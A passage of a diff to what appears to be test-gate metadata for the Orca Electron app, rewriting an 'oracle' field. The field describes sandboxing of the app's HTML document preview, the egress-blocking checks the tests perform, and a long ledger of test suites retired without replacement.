A read the host reports as truncated or over-cap is refused rather than served partially, and a document outside the paired worktree is refused with a message naming that boundary instead of a bare read failure. The rendered document reaches nothing off-machine on its own: every served response carries a self-only content security policy, the preview session cancels any request that is not in-document, subframes cannot navigate outside the grant, a guest no document has yet bound to a grant may not navigate at all, the guest gathers no ICE candidates, and an SSH path that canonicalizes outside the grant root is refused before it is read. The one route out is a link the reader presses: a trusted click on an anchor, reported by the preview's own preload from a guest still bound to a live grant, leaves through the configured browser destination and captured source route — and only after the reader confirms the exact destination URL, so a document cannot spend a single stray press exfiltrating what it can read into a link it authored. The preview hands its guest that focus itself whenever it is the surface the reader is in — a browsing page gets it from the chrome around it, and a preview has no chrome to get it from — and it does so only then, so a preview mounted behind a terminal or an editor never takes the keyboard from what the reader is actually in. It offers again when the window itself takes focus back and nothing in the embedder has claimed that focus, because another app coming to the front lands focus on the embedder rather than the guest and the route out would otherwise stay shut until something remounted the pane — while the same window focus also arrives when the reader presses a tab, that being the guest's own blur returning, and taking focus back from there would fight the reader for their own click. Nothing else does. A navigation or popup the document starts by itself is swallowed whatever else is happening, including immediately after a genuine press elsewhere in the document, so a page that can read its grant cannot hand it to a browser tab; a middle click opens nothing; and a fragment link is answered inside the document. A preview attach carries the preview preload and no renderer-supplied one, and no other attach path can acquire it. A subresource the workspace will not send degrades the document to a notice naming that file, never to a failure panel over a page that rendered. A grant outlives neither the tab that owns it nor the renderer document that minted it, and only the trusted renderer can mint or revoke one. For the browser creations this gate still owns, owner-pinned creation returns the canonical host page identity before navigation readiness; delayed navigation cannot turn a created page into an unidentifiable failure or a duplicate retry. Capability rejection before host mutation must preserve the original error, issue no RPC, surface a failure toast, and remove only a caller-declared newly-created empty split. Post-create reconciliation failure requires exact rollback; ambiguous rollback rejects without local fallback.", - "oracle": "Runtime layout cleanup intentionally retires the removed compatibility callbacks and wholly removed fragments without replacement coverage. The compatibility entrypoint retains only its surviving registration scope. Existing independent dated receipts remain at their original commands and scopes; no fresh runtime, native, remote or platform execution is claimed. Prior account preserved verbatim: Audit6018 removes the whole HtmlDocPreview.toolbar.test.tsx suite. Its last current case exercises real DOM/registry hide, explicit close, recreation and unmount lifetime against supplied native guest boundaries; those alarms are intentionally lost without equivalent replacement. Remove its six compound-selector tokens, testFiles entry and obsolete focus assertionRef (the latter assertions were already absent from the current single case). No complete active dated receipt selects this source; all remain unchanged and do not validate narrowed commands. No fresh runtime/native/import-closure claim. Complete prior account preserved verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5910 retires the complete use-doc-preview-guest-tools suite: token-scoped pending-card position after inner scroll, load reset and detached guest listener cleanup alarms are intentionally lost without equivalent replacement. Narrow three compound selectors and remove its testFiles entry. All remaining assertions/selectors and complete dated evidenceRuns retain only their original scope; no fresh validation or replacement claim. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3460 final-v2 composes accepted AUTHOR3454/PEER3455 on actual post263 main: intentionally removes99 authored/106 potential expanded cases across16 selected drivers, including7 whole suites, retaining24 authored/26 potential cases. No equivalent replacement or fresh runtime is claimed. The complete mocked session-close routing suite is removed, including the explicit cross-worktree cleanup alarm. Remove its active file, command token and assertion reference; historical selectors and receipts retain their original scope. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3342 retires the complete mobile editor/diff tab-publication projection suite: editor/diff serialization, workspace-document privacy withholding, pending/focus and capability/options projections are intentionally lost without equivalent replacement. The surviving focused selectors are unexecuted in this source composition. Six complete compound macOS receipts whose command fields select the changed source are retired verbatim as history; their other selected tests receive no promoted evidence. Other dated receipts keep their original scope; no fresh runtime/UI/mobile/mixed-version or cross-platform validation is claimed. Audit3335 retires the complete three-case browser-tabs snapshot assembly suite: canonical snapshot replay/placement/focus, local host-page adoption and unstamped host echo leaving a local page untouched alarms are intentionally lost without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/network, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the caller-chat-target precedence over host selection example from web-session-tabs-sync-focus-intent.test.ts. The snapshot-before-RPC replay and split-sibling-first exact-leaf focus cases remain unchanged and match the existing assertion reference. Preserve current selectors, assertion references, unrelated active receipts and complete archived history. These mocked state-composition survivors provide no equivalent replacement, rendered, native, network or fresh execution proof. Audit3108: doc-preview-grants.test.ts now retains only the stale grant-rejection race: a late rejected grant request must not evict a newer grant registry entry, witnessed by later revocation of grant-2. Retire stable minted-location and outside-workspace POSIX/Windows request-projection alarms without replacement. The direct nonempty grant selector remains unchanged; no real grant-server/file authorization, SSH/HTML delivery or native-focus result is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2043: Remove the registration-wait, webview-security, preview-authorization, guest-lifecycle and grant-IPC unit suites and the sibling-directory assertion reference. Runtime and browser capability consumers also lose removed imported examples. Remaining document-policy, file-reader and grant-registry assertions do not replace those alarms. Preserve the 27 independent dated receipts at their original unchanged selectors; reduced prospective unit selectors have no fresh result or equivalent replacement claim. Historical prior account (preserved verbatim): Audit1973: Delete the browser RPC forwarding/schema/scalar suite and its prospective selector. Preserve all27 unrelated dated receipts; no actual browser operation alarm is replaced. Whole original changed dated receipts are retired, never narrowed or transferred. This metadata review claims no fresh execution, equivalent replacement, provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): The complete terminal-file-link-actions suite is removed. Lose supplied local/remote menu-row inventories, browser label/order/download/reveal callback forwarding, platform-copy and source-group pinning examples. No OS reveal/download, real remote preview or browser navigation was exercised; the other real document-preview sources are not equivalent replacements. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1709 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1687 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1421 narrows renderer unit coverage as recorded in coverageNotes. Prior oracle descriptions are historical for the changed suite. The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Retained unchanged-selector receipts are the only current execution evidence. Reduced-source assertions await validation. Historical prior oracle: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): In paired Electron, write an HTML fixture that declares its own title on the host, invoke the Explorer preview action on the client, and require the document text to be readable out of the orca-preview guest before judging any absence. With that presence established, require the client to hold exactly one browser workspace more than its baseline and that workspace to be the document one: page and tab url blank, the document path mirrored onto both, the tab named by the document's title, the chip naming the file, no editor row of the retired preview species anywhere, and the guest URL carrying the orca-preview scheme. Ask the host through its own page registry as well as through the tab snapshot, and in the same run open an ordinary URL browser tab from the same client and require that one to arrive in both — the presence precondition without which “the host gained nothing” is satisfied just as well by an oracle that cannot see browser pages at all. Require the preview to sit in a group other than the source editor's while the active group and tab remain the source editor's. Then click away to the terminal, click the preview tab, require it to reactivate and still render, close it with its own X, and require the document tab to be gone while the host still holds only the URL tab and the source group, source editor and terminal survive. Quit the client with a document tab open and relaunch it on the same profile: require the same workspace row to come back, blank and named by the document, rendering the document again over a grant URL that differs from the one that was quit, with no preview-scheme or document-named page anywhere in what the host holds. Prove the halves are live by flipping one product property at a time and requiring the run to fail: publish document workspaces to the host like ordinary ones, and stop mirroring the document onto the workspace row. Have the fixture document attempt its own egress on every load — an unattended window.open and location.href to an off-machine URL, plus an inline ICE gathering probe — and require the same baseline counts and a candidate count of zero, so the document's own attempts are measured rather than assumed. Then, as a separate phase after the close oracle has already run, bring the client window to the front, press the document's heading with a real mouse event, and require the document to report that the same press drove it to attempt a second window.open and location.href while both browser counts stay at that phase's baseline and nothing routes — the case a recent-input gate cannot distinguish from the press's own effect. Only then press the target=_blank link with a real mouse event and require both a recorded routing call that returned success and a browser count above that baseline, with the preview tab still open. Drive the preload's click policy as a unit oracle over a real document: a dispatched click, a trusted press on an external anchor, an anchor reached through what it wraps, an SVG animated href, a sibling preview link, fragment and percent-encoded fragment targets, a bare hash, and a middle click. Create a browser page located by a workspace document, handing creation a live grant URL, and require its stored url, its mirrored tab url and the written session payload all to be blank with no orca-preview string anywhere in what was written, while an ordinary page created the same way keeps the URL it was given and asks for the address bar the document page never does. Parse the written page and tab through the session schema and require the document to survive both halves. Hydrate them back and require the document page to return blank and still named — including when its page row was salvaged away and only the tab's own copy remains, and when a foreign session carried a grant URL into both rows. Drive the mirror across a page switch out of the document and back, and across a repair in which the document is the only mirrored field that differs. Name a document page from its document and require the tab to take that name, name it with an empty title and require the file, name it with a live grant URL and require the file again with no preview scheme anywhere in the written session, and require an ordinary blank browser tab beside it to still be called New Tab. Dispatch a title update out of a rendered preview's own guest and require it to reach the page state while the identity chip still reads the document's workspace-relative path. Attach a browsing guest and a workspace-document guest through the same method in one run and require the browsing one to take clicked-link routing, popup handling and auth-identity detach tracking while the document guest takes none of them, stays inside the grant it is showing, denies every window it asks for, and is dropped from the page-keyed document registry by the same teardown that frees its id for a later attach. Register a browsing guest and attach a workspace-document guest in one run against the real manager, require the one door to answer each page with the guest of its own half, and require the document page to be absent from the browsing map and from its enumeration. Drive both browsing registration entry points with a page the document half already holds and require them to register nothing, and drive the mint channel with a page the browsing half already holds and require it to refuse; and drive the offscreen one with a guest that is missing and with one already destroyed, requiring the same refusal. Arm a grab on a live preview target, drive the unregister channel at that same target in the window before the queued operation runs, and require the grab to reach the guest anyway — then drive the same sequence for an ordinary browser page and require its grab state to be disposed after all. Hold one viewport-bridge op open, queue a second behind it, swap the page's guest while that second op waits, and require the injection to land in the guest the page has then. Revoke a grant after a tool has run against its page and require that page's grab state to be cancelled and disposed. Ask a tool for a document page whose guest has not attached, require the request to park in the registration wait, attach the guest, and require the same request to arm on it; require a page nothing ever renders to answer not-ready once that wait elapses. With a document open, ask a tool for a browsing page id and require it to be answered by the browsing half or not at all, with the same channel reaching the document guest under the page it really renders. Drive open-externally for a document whose per-file owner is remote while the workspace-scoped owner is unresolved, for a runtime-owned worktree whose preview tab carries no runtime id of its own, and for a worktree that resolves no runtime owner while the tab still carries one, requiring the download route in each; and for an owner that cannot be resolved at all, and for an unknown workspace root while nothing names another host, requiring a refusal that neither opens nor downloads. Drive the headless backend with a page the document half already holds and require it to reject, destroy the window, and unregister nothing — then shut the backend down and require it still to have unregistered nothing. Navigate a bound preview guest at a second grant through both latch events and require it to stay on the grant it bound to. Mount a preview while a renderer drag is already in flight and require its guest to be click-through at the moment it is appended, not a turn later. Render the editor panel shell in each remaining tab mode and require the path header exactly where the surface does not already name itself. Drive the preview action and require a browser tab located by the document rather than an editor tab, require a second open of the same document to activate the tab it is already in, and require closing that tab to revoke its grant while a URL tab closed beside it revokes none. Publish a worktree holding a document tab and a URL tab and require only the URL tab to reach the mobile snapshot. Install the shared partition policies for a preview partition and for an ordinary browsing partition in the same run, fire each one's own will-download listener, and require the preview's to cancel while the browsing one still reaches the download router — then require the preview protocol installer to be what asks for that deny. In the same run, require the cancelled download to raise a reader-facing notice and the routed one to raise none. require the guest registry to name the bound grant for a live preview guest and nothing for a contents that is not one, has committed no document, or is gone. Drive the shell with a refusal and require one fixed sentence, still one row after three more refusals, standing beside an asset failure rather than being counted with it, gone behind the failure panel, and ignored when it names another preview's grant. Drive the main-side report gate directly for a sender that is no preview guest, a guest with no bound or a revoked grant, a genuine press Electron's webview focus flag misreports as unfocused, and non-web URLs; drive the reader-facing confirmation for accept, cancel, and a confirmed tab the browser refuses; and drive will-attach-webview in both preload directions. Run the per-owner reader, grant-containment, scheme-admission, guest-policy, and plan-routing contracts as unit oracles, including a host-reported truncation, an over-cap binary, and an out-of-worktree paired path. Drive the reader-facing component with the payloads the reader can actually produce — the entry document fails only as truncated or unreadable, a subresource additionally as a refused format — and require the asset case to leave the guest mounted. Drive the closed-tab cleanup hook, the window installer, and the grant IPC handlers directly, requiring the grant to be released when the preview tab closes, cleared at window creation and on a cross-document main-frame navigation, and refused to any sender that is not the trusted renderer. For the browser creations this gate still owns, run the unchanged contract oracle for direct create and side-preview callers with absent status, unknown capabilities, and a mixed-version host, requiring the original unsupported error or visible toast, zero RPCs, and no retained new split; hold a real navigation response beyond the 15-second client deadline after host creation and require the first RPC to return the exact host inventory page ID, one host page, and no retry; repeat reconciliation faults against headless serve and retain the separate exact-page reconciliation rollback oracle. Audit2452 removes the whole fake-effect browser-close routing suite. Active selectors and assertion references no longer select it. Its requested-worktree default close, sibling-page close and explicit missing-page typed reply alarms are intentionally retired without equivalent replacement. Prior dated receipts remain unchanged and scoped to their original sources; no fresh execution of the reduced gate, rendered browser, live remote, mobile or cross-platform validation is claimed.", + "oracle": "Protection is limited to unchanged-selector receipts; remapped E2E journeys are unexecuted after E2E layout cleanup. Historical account: Runtime layout cleanup intentionally retires the removed compatibility callbacks and wholly removed fragments without replacement coverage. The compatibility entrypoint retains only its surviving registration scope. Existing independent dated receipts remain at their original commands and scopes; no fresh runtime, native, remote or platform execution is claimed. Prior account preserved verbatim: Audit6018 removes the whole HtmlDocPreview.toolbar.test.tsx suite. Its last current case exercises real DOM/registry hide, explicit close, recreation and unmount lifetime against supplied native guest boundaries; those alarms are intentionally lost without equivalent replacement. Remove its six compound-selector tokens, testFiles entry and obsolete focus assertionRef (the latter assertions were already absent from the current single case). No complete active dated receipt selects this source; all remain unchanged and do not validate narrowed commands. No fresh runtime/native/import-closure claim. Complete prior account preserved verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5910 retires the complete use-doc-preview-guest-tools suite: token-scoped pending-card position after inner scroll, load reset and detached guest listener cleanup alarms are intentionally lost without equivalent replacement. Narrow three compound selectors and remove its testFiles entry. All remaining assertions/selectors and complete dated evidenceRuns retain only their original scope; no fresh validation or replacement claim. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3460 final-v2 composes accepted AUTHOR3454/PEER3455 on actual post263 main: intentionally removes99 authored/106 potential expanded cases across16 selected drivers, including7 whole suites, retaining24 authored/26 potential cases. No equivalent replacement or fresh runtime is claimed. The complete mocked session-close routing suite is removed, including the explicit cross-worktree cleanup alarm. Remove its active file, command token and assertion reference; historical selectors and receipts retain their original scope. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3342 retires the complete mobile editor/diff tab-publication projection suite: editor/diff serialization, workspace-document privacy withholding, pending/focus and capability/options projections are intentionally lost without equivalent replacement. The surviving focused selectors are unexecuted in this source composition. Six complete compound macOS receipts whose command fields select the changed source are retired verbatim as history; their other selected tests receive no promoted evidence. Other dated receipts keep their original scope; no fresh runtime/UI/mobile/mixed-version or cross-platform validation is claimed. Audit3335 retires the complete three-case browser-tabs snapshot assembly suite: canonical snapshot replay/placement/focus, local host-page adoption and unstamped host echo leaving a local page untouched alarms are intentionally lost without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/network, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the caller-chat-target precedence over host selection example from web-session-tabs-sync-focus-intent.test.ts. The snapshot-before-RPC replay and split-sibling-first exact-leaf focus cases remain unchanged and match the existing assertion reference. Preserve current selectors, assertion references, unrelated active receipts and complete archived history. These mocked state-composition survivors provide no equivalent replacement, rendered, native, network or fresh execution proof. Audit3108: doc-preview-grants.test.ts now retains only the stale grant-rejection race: a late rejected grant request must not evict a newer grant registry entry, witnessed by later revocation of grant-2. Retire stable minted-location and outside-workspace POSIX/Windows request-projection alarms without replacement. The direct nonempty grant selector remains unchanged; no real grant-server/file authorization, SSH/HTML delivery or native-focus result is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current 